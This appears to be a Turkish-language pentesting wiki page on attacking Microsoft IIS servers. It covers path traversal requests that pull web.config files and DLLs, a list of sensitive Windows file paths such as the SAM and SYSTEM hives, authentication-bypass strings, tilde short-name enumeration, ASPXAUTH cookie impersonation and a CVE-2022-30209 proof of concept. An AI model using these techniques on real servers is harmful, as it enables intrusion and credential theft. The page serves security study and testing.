# IIS - Internet Information Services
{{#include ../../banners/hacktricks-training.md}}
Test edilebilir dosya uzantıları:
- asp
- aspx
- config
- php
## Dahili IP Adresi ifşası
302 aldığınız herhangi bir IIS sunucusunda, Host başlığını kaldırmayı ve HTTP/1.0 kullanmayı deneyebilirsiniz ve yanıtın içinde Location başlığı size dahili IP adresini gösterebilir:
```
nc -v domain.com 80
openssl s_client -connect domain.com:443
```
İç IP'yi ifşa eden yanıt:
```
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
```
## .config dosyalarını çalıştırma
.config dosyalarını yükleyebilir ve bunları kod çalıştırmak için kullanabilirsiniz. Bunu yapmanın bir yolu, dosyanın sonuna bir HTML yorumu içinde kod eklemektir: [Örnek indirin](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
Bu güvenlik açığını istismar etmek için daha fazla bilgi ve teknikler [burada](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
## IIS Keşif Bruteforce
Oluşturduğum listeyi indirin:
{{#file}}
iisfinal.txt
{{#endfile}}
Aşağıdaki listelerin içeriklerini birleştirerek oluşturuldu:
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
Bunu herhangi bir uzantı eklemeden kullanın, gerekli olan dosyalar zaten buna sahiptir.
## Yol Traversal
### Kaynak kodunu sızdırma
Tam yazımı kontrol edin: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
> [!NOTE]
> Özet olarak, uygulamanın klasörlerinde "**assemblyIdentity**" dosyalarına ve "**namespaces**" referanslarına sahip birkaç web.config dosyası bulunmaktadır. Bu bilgilerle **çalıştırılabilir dosyaların nerede bulunduğunu** bilmek ve bunları indirmek mümkündür.\
> **İndirilen Dll'lerden** ayrıca **yeni namespace'ler** bulmak ve yeni namespace'ler ve assemblyIdentity bulmak için web.config dosyasına erişmeye çalışmak mümkündür.\
> Ayrıca, **connectionstrings.config** ve **global.asax** dosyaları ilginç bilgiler içerebilir.
**.Net MVC uygulamalarında**, **web.config** dosyası, uygulamanın bağımlı olduğu her ikili dosyayı **"assemblyIdentity"** XML etiketleri aracılığıyla belirterek kritik bir rol oynar.
### **İkili Dosyaları Keşfetme**
**web.config** dosyasına erişim örneği aşağıda gösterilmiştir:
```html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
Bu istekte çeşitli ayarlar ve bağımlılıklar ortaya çıkmaktadır, örneğin:
- **EntityFramework** sürümü
- Web sayfaları, istemci doğrulaması ve JavaScript için **AppSettings**
- Kimlik doğrulama ve çalışma zamanı için **System.web** yapılandırmaları
- **System.webServer** modül ayarları
- **Microsoft.Owin**, **Newtonsoft.Json** ve **System.Web.Mvc** gibi birçok kütüphane için **Runtime** derleme bağlamaları
Bu ayarlar, **/bin/WebGrease.dll** gibi belirli dosyaların uygulamanın /bin klasöründe bulunduğunu göstermektedir.
### **Kök Dizin Dosyaları**
Kök dizinde bulunan **/global.asax** ve hassas şifreler içeren **/connectionstrings.config** gibi dosyalar, uygulamanın yapılandırması ve çalışması için gereklidir.
### **Ad Alanları ve Web.Config**
MVC uygulamaları, her dosyada tekrarlayan bildirimlerden kaçınmak için belirli ad alanları için ek **web.config dosyaları** tanımlar; bu, başka bir **web.config** indirme isteği ile gösterilmiştir:
```html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **DLL'leri İndirme**
Özel bir ad alanının belirtilmesi, /bin dizininde bulunan "**WebApplication1**" adlı bir DLL'ye işaret eder. Bunu takiben, **WebApplication1.dll** dosyasını indirmek için bir istek gösterilmektedir:
```html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
Bu, /bin dizininde **System.Web.Mvc.dll** ve **System.Web.Optimization.dll** gibi diğer önemli DLL'lerin varlığını önerir.
Bir DLL'nin **WebApplication1.Areas.Minded** adlı bir ad alanını içe aktardığı bir senaryoda, bir saldırgan, /bin klasöründeki diğer DLL'lere özel yapılandırmalar ve referanslar içeren, **/area-name/Views/** gibi öngörülebilir yollarda başka web.config dosyalarının varlığını çıkarabilir. Örneğin, **/Minded/Views/web.config** için bir istek, başka bir DLL'nin varlığını gösteren yapılandırmaları ve ad alanlarını açığa çıkarabilir, bu DLL **WebApplication1.AdditionalFeatures.dll** olabilir.
### Yaygın dosyalar
From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
```
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
```
## HTTPAPI 2.0 404 Hatası
Aşağıdaki gibi bir hata görüyorsanız:
 (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
Bu, sunucunun **Host başlığı içinde doğru alan adını almadığı** anlamına gelir.\
Web sayfasına erişmek için sunulan **SSL Sertifikasına** bakabilir ve belki orada alan/ad alanı adını bulabilirsiniz. Eğer orada yoksa, doğru olanı bulana kadar **VHosts'ü brute force** yapmanız gerekebilir.
## Bakılması gereken eski IIS zafiyetleri
### Microsoft IIS tilde karakteri “\~” Zafiyeti/Özelliği – Kısa Dosya/Klasör Adı Sızdırma
Bu **teknik** ile her keşfedilen klasörün içinde **klasörleri ve dosyaları listelemeyi** deneyebilirsiniz (temel kimlik doğrulama gerektirse bile).\
Bu tekniğin ana sınırlaması, sunucu zayıfsa, **her dosya/klasörün adının ilk 6 harfini ve dosyaların uzantısının ilk 3 harfini** bulabilmesidir.
Bu zafiyeti test etmek için [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) kullanabilirsiniz:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
.png>)
Orijinal araştırma: [https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
Ayrıca **metasploit** kullanabilirsiniz: `use scanner/http/iis_shortname_scanner`
Keşfedilen dosyaların **son adını bulmak** için **LLM'lere** seçenekler sormak güzel bir fikirdir, bu [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) scriptinde olduğu gibi.
### Temel Kimlik Doğrulama atlatma
**IIS 7.5** temel kimlik doğrulamasını atlatmayı deneyin: `/admin:$i30:$INDEX_ALLOCATION/admin.php` veya `/admin::$INDEX_ALLOCATION/admin.php`
Yeni **klasörler** bulmak ve kimlik doğrulamayı **atlatmak** için bu **zafiyeti** ve sonuncusunu **karıştırmayı** deneyebilirsiniz.
## ASP.NET Trace.AXD etkin hata ayıklama
ASP.NET, bir hata ayıklama modu içerir ve dosyası `trace.axd` olarak adlandırılır.
Bu, bir uygulamaya yapılan tüm isteklerin çok ayrıntılı bir kaydını tutar.
Bu bilgi, uzak istemci IP'leri, oturum kimlikleri, tüm istek ve yanıt çerezleri, fiziksel yollar, kaynak kodu bilgileri ve potansiyel olarak kullanıcı adları ve şifreleri içerir.
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)

## ASPXAUTH Çerezi
ASPXAUTH aşağıdaki bilgileri kullanır:
- **`validationKey`** (string): imza doğrulaması için kullanılacak hex kodlu anahtar.
- **`decryptionMethod`** (string): (varsayılan “AES”).
- **`decryptionIV`** (string): hex kodlu başlatma vektörü (varsayılan sıfır vektörüdür).
- **`decryptionKey`** (string): şifreleme için kullanılacak hex kodlu anahtar.
Ancak, bazı insanlar bu parametrelerin **varsayılan değerlerini** kullanacak ve **kullanıcının e-posta adresini çerez olarak** kullanacaktır. Bu nedenle, ASPXAUTH çerezini kullanan **aynı platformda** bir web bulabilirseniz ve saldırı altındaki sunucuda **taklit etmek istediğiniz kullanıcının e-posta adresiyle bir kullanıcı oluşturursanız**, **ikinci sunucudan çerezi birincisinde kullanabilir** ve kullanıcıyı taklit edebilirsiniz.\
Bu saldırı bu [**yazıda**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) çalıştı.
## Önbelleklenmiş şifrelerle IIS Kimlik Doğrulama Atlatma (CVE-2022-30209)
[Tam rapor burada](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Kullanıcının verdiği şifreyi **doğru bir şekilde kontrol etmeyen** bir kod hatası, **şifre hash'i önbellekte** zaten bulunan bir anahtara denk gelen bir saldırganın o kullanıcı olarak giriş yapabilmesine neden olur.
```python
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP
HTTP/1.1 200 OK
```
{{#include ../../banners/hacktricks-training.md}}